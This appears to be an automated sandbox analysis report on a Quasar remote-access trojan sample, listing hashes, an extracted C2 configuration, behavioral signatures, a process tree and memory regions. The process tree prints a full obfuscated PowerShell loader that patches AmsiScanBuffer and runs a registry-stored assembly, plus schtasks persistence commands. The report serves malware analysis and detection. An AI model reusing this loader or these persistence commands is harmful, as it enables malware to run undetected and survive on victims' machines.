Analysis
-
max time kernel
21s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
21-04-2024 17:15
Behavioral task
behavioral1
Sample
Sexy.exe
Resource
win10v2004-20240412-en
Errors
General
-
Target
Sexy.exe
-
Size
409KB
-
MD5
4c5faec89139e079202a5208d49ed5a0
-
SHA1
f26bf551e191af0dd01b5d39ae0c8489d94a877e
-
SHA256
bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378
-
SHA512
5d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64
-
SSDEEP
12288:iBwz9kOUJIOSQoxdKIT00N2f3DPcCYDVouW5:i+JLOsVRi3YCYg
Malware Config
Extracted
quasar
3.1.5
SLAVE
147.185.221.19:33587
$Sxr-zpFqsQjJJh3miBvVnu
-
encryption_key
LxGS9iJRjIMm1rV0MEzT
-
install_name
BiosUpdX64YDPS.exe
-
log_directory
$sxr
-
reconnect_delay
3000
-
startup_key
$sxr-mtsha
-
subdirectory
Windows
Signatures
-
Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1428-0-0x0000000000010000-0x000000000007C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2548 created 616 2548 powershell.EXE winlogon.exe -
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
BiosUpdX64YDPS.exeInstall.exepid process 1920 BiosUpdX64YDPS.exe 432 Install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 11 ip-api.com -
Drops file in System32 directory 2 IoCs
Processes:
powershell.EXEdescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 2548 set thread context of 3052 2548 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeSCHTASKS.exepid process 3884 schtasks.exe 840 schtasks.exe 1352 SCHTASKS.exe -
Modifies data under HKEY_USERS 41 IoCs
Processes:
powershell.EXEdescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.EXEdllhost.exepid process 2548 powershell.EXE 2548 powershell.EXE 2548 powershell.EXE 2548 powershell.EXE 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe 3052 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
Sexy.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exedescription pid process Token: SeDebugPrivilege 1428 Sexy.exe Token: SeDebugPrivilege 1920 BiosUpdX64YDPS.exe Token: SeDebugPrivilege 2548 powershell.EXE Token: SeDebugPrivilege 2548 powershell.EXE Token: SeDebugPrivilege 3052 dllhost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
BiosUpdX64YDPS.exepid process 1920 BiosUpdX64YDPS.exe -
Suspicious use of WriteProcessMemory 57 IoCs
Processes:
Sexy.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exelsass.exedescription pid process target process PID 1428 wrote to memory of 3884 1428 Sexy.exe schtasks.exe PID 1428 wrote to memory of 3884 1428 Sexy.exe schtasks.exe PID 1428 wrote to memory of 3884 1428 Sexy.exe schtasks.exe PID 1428 wrote to memory of 1920 1428 Sexy.exe BiosUpdX64YDPS.exe PID 1428 wrote to memory of 1920 1428 Sexy.exe BiosUpdX64YDPS.exe PID 1428 wrote to memory of 1920 1428 Sexy.exe BiosUpdX64YDPS.exe PID 1920 wrote to memory of 840 1920 BiosUpdX64YDPS.exe schtasks.exe PID 1920 wrote to memory of 840 1920 BiosUpdX64YDPS.exe schtasks.exe PID 1920 wrote to memory of 840 1920 BiosUpdX64YDPS.exe schtasks.exe PID 1428 wrote to memory of 432 1428 Sexy.exe Install.exe PID 1428 wrote to memory of 432 1428 Sexy.exe Install.exe PID 1428 wrote to memory of 432 1428 Sexy.exe Install.exe PID 1428 wrote to memory of 1352 1428 Sexy.exe SCHTASKS.exe PID 1428 wrote to memory of 1352 1428 Sexy.exe SCHTASKS.exe PID 1428 wrote to memory of 1352 1428 Sexy.exe SCHTASKS.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 2548 wrote to memory of 3052 2548 powershell.EXE dllhost.exe PID 3052 wrote to memory of 616 3052 dllhost.exe winlogon.exe PID 3052 wrote to memory of 664 3052 dllhost.exe lsass.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 3052 wrote to memory of 956 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 64 3052 dllhost.exe dwm.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 3052 wrote to memory of 412 3052 dllhost.exe svchost.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 3052 wrote to memory of 428 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 900 3052 dllhost.exe svchost.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 3052 wrote to memory of 1020 3052 dllhost.exe svchost.exe PID 664 wrote to memory of 2692 664 lsass.exe sysmon.exe PID 3052 wrote to memory of 1140 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1256 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1264 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1312 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1328 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1336 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1416 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1508 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1552 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1564 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1572 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1708 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1720 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1824 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1832 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1928 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1936 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1032 3052 dllhost.exe svchost.exe PID 3052 wrote to memory of 1548 3052 dllhost.exe svchost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{c228d10e-601a-4ad7-a857-1f1b98f5d42c}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zFnWAWfziQXT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OSgWTEInUlHnjS,[Parameter(Position=1)][Type]$xsMVgxJPjh)$XHyuvQGHxTc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+'e'+'l'+'e'+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+'u'+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+'t'+'e'+'T'+[Char](121)+''+'p'+'e',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'ale'+'d'+''+[Char](44)+'A'+[Char](110)+''+'s'+''+'i'+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+'ut'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$XHyuvQGHxTc.DefineConstructor('RT'+[Char](83)+''+'p'+''+'e'+''+[Char](99)+''+'i'+''+'a'+'l'+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+'y'+[Char](83)+'i'+[Char](103)+',P'+'u'+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$OSgWTEInUlHnjS).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+'d'+'');$XHyuvQGHxTc.DefineMethod('I'+'n'+'v'+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+[Char](101)+'w'+'S'+''+[Char](108)+''+'o'+''+'t'+','+[Char](86)+''+[Char](105)+'r'+'t'+''+'u'+''+[Char](97)+'l',$xsMVgxJPjh,$OSgWTEInUlHnjS).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $XHyuvQGHxTc.CreateType();}$ObGizdZEpbqMh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+'U'+[Char](110)+'s'+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+'t'+''+'i'+''+[Char](118)+'e'+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$bNNJiuaxmybWzb=$ObGizdZEpbqMh.GetMethod(''+'G'+''+'e'+''+'t'+''+'P'+''+'r'+''+'o'+''+[Char](99)+'A'+[Char](100)+''+'d'+'r'+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+[Char](83)+'t'+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iGMfPdZDyxBFBuTEVTQ=zFnWAWfziQXT @([String])([IntPtr]);$JjQXJLlpzGPblBUnkzWlRV=zFnWAWfziQXT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$HoQYFWNLZbF=$ObGizdZEpbqMh.GetMethod('G'+'e'+''+'t'+''+[Char](77)+'o'+[Char](100)+'u'+[Char](108)+''+'e'+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+'el'+'3'+''+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$iaSvohWfmEWxvB=$bNNJiuaxmybWzb.Invoke($Null,@([Object]$HoQYFWNLZbF,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+'i'+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+''+[Char](65)+'')));$lEhafGbwMenwSkPgt=$bNNJiuaxmybWzb.Invoke($Null,@([Object]$HoQYFWNLZbF,[Object](''+'V'+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+'lPr'+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$qHmwJBc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iaSvohWfmEWxvB,$iGMfPdZDyxBFBuTEVTQ).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+[Char](108)+''+'l'+'');$oUKsxvgTpBhcUzrlL=$bNNJiuaxmybWzb.Invoke($Null,@([Object]$qHmwJBc,[Object](''+'A'+'m'+[Char](115)+'i'+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+'f'+''+[Char](102)+''+'e'+''+[Char](114)+'')));$ColvyCOxoX=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lEhafGbwMenwSkPgt,$JjQXJLlpzGPblBUnkzWlRV).Invoke($oUKsxvgTpBhcUzrlL,[uint32]8,4,[ref]$ColvyCOxoX);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$oUKsxvgTpBhcUzrlL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lEhafGbwMenwSkPgt,$JjQXJLlpzGPblBUnkzWlRV).Invoke($oUKsxvgTpBhcUzrlL,[uint32]8,0x20,[ref]$ColvyCOxoX);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'77'+'s'+''+'t'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\Sexy.exe"C:\Users\Admin\AppData\Local\Temp\Sexy.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Sexy.exe" /rl HIGHEST /f2⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Sexy.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Sexy.exe'" /sc onlogon /rl HIGHEST2⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exeFilesize
409KB
MD54c5faec89139e079202a5208d49ed5a0
SHA1f26bf551e191af0dd01b5d39ae0c8489d94a877e
SHA256bbecd1e502693965f493ecb6a611dd86dc71b4bcb8471cf4c459d0b44e9f6378
SHA5125d31a95a76a2d17967f685b47823682f8301164ee9386f267f2ce28b866429dfb48aa7ef7cb21a7ab8b732286fb99eee989d10e5040ea69a361ba83b0b22ec64
-
C:\Windows\Temp\__PSScriptPolicyTest_2oeqwojy.mf0.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/64-107-0x00007FFDA0890000-0x00007FFDA08A0000-memory.dmpFilesize
64KB
-
memory/64-108-0x00007FFDE08AF000-0x00007FFDE08B0000-memory.dmpFilesize
4KB
-
memory/64-106-0x000002327AE50000-0x000002327AE7B000-memory.dmpFilesize
172KB
-
memory/64-89-0x000002327AE50000-0x000002327AE7B000-memory.dmpFilesize
172KB
-
memory/616-55-0x000001FA9F4B0000-0x000001FA9F4DB000-memory.dmpFilesize
172KB
-
memory/616-56-0x000001FA9F4B0000-0x000001FA9F4DB000-memory.dmpFilesize
172KB
-
memory/616-64-0x000001FA9F4B0000-0x000001FA9F4DB000-memory.dmpFilesize
172KB
-
memory/616-54-0x000001FA9F480000-0x000001FA9F4A5000-memory.dmpFilesize
148KB
-
memory/616-66-0x00007FFDE08AD000-0x00007FFDE08AE000-memory.dmpFilesize
4KB
-
memory/664-82-0x00007FFDE08AD000-0x00007FFDE08AE000-memory.dmpFilesize
4KB
-
memory/664-77-0x00000166CD510000-0x00000166CD53B000-memory.dmpFilesize
172KB
-
memory/664-68-0x00000166CD510000-0x00000166CD53B000-memory.dmpFilesize
172KB
-
memory/664-80-0x00007FFDA0890000-0x00007FFDA08A0000-memory.dmpFilesize
64KB
-
memory/956-81-0x0000027E7F9D0000-0x0000027E7F9FB000-memory.dmpFilesize
172KB
-
memory/956-100-0x0000027E7F9D0000-0x0000027E7F9FB000-memory.dmpFilesize
172KB
-
memory/956-102-0x00007FFDA0890000-0x00007FFDA08A0000-memory.dmpFilesize
64KB
-
memory/956-104-0x00007FFDE08AC000-0x00007FFDE08AD000-memory.dmpFilesize
4KB
-
memory/1428-22-0x0000000074650000-0x0000000074E00000-memory.dmpFilesize
7.7MB
-
memory/1428-6-0x0000000005790000-0x00000000057A2000-memory.dmpFilesize
72KB
-
memory/1428-1-0x0000000074650000-0x0000000074E00000-memory.dmpFilesize
7.7MB
-
memory/1428-2-0x00000000050E0000-0x0000000005684000-memory.dmpFilesize
5.6MB
-
memory/1428-3-0x0000000004B30000-0x0000000004BC2000-memory.dmpFilesize
584KB
-
memory/1428-4-0x0000000004CA0000-0x0000000004CB0000-memory.dmpFilesize
64KB
-
memory/1428-5-0x0000000004A70000-0x0000000004AD6000-memory.dmpFilesize
408KB
-
memory/1428-0-0x0000000000010000-0x000000000007C000-memory.dmpFilesize
432KB
-
memory/1428-7-0x0000000005CD0000-0x0000000005D0C000-memory.dmpFilesize
240KB
-
memory/1920-88-0x0000000005960000-0x0000000005970000-memory.dmpFilesize
64KB
-
memory/1920-79-0x0000000074650000-0x0000000074E00000-memory.dmpFilesize
7.7MB
-
memory/1920-13-0x0000000074650000-0x0000000074E00000-memory.dmpFilesize
7.7MB
-
memory/1920-14-0x0000000005960000-0x0000000005970000-memory.dmpFilesize
64KB
-
memory/1920-16-0x0000000006DF0000-0x0000000006DFA000-memory.dmpFilesize
40KB
-
memory/2548-25-0x000001D5B9DD0000-0x000001D5B9DE0000-memory.dmpFilesize
64KB
-
memory/2548-50-0x00007FFDC1810000-0x00007FFDC22D1000-memory.dmpFilesize
10.8MB
-
memory/2548-24-0x00007FFDC1810000-0x00007FFDC22D1000-memory.dmpFilesize
10.8MB
-
memory/2548-34-0x000001D5D4240000-0x000001D5D4262000-memory.dmpFilesize
136KB
-
memory/2548-35-0x000001D5B9DD0000-0x000001D5B9DE0000-memory.dmpFilesize
64KB
-
memory/2548-36-0x000001D5D45B0000-0x000001D5D45DA000-memory.dmpFilesize
168KB
-
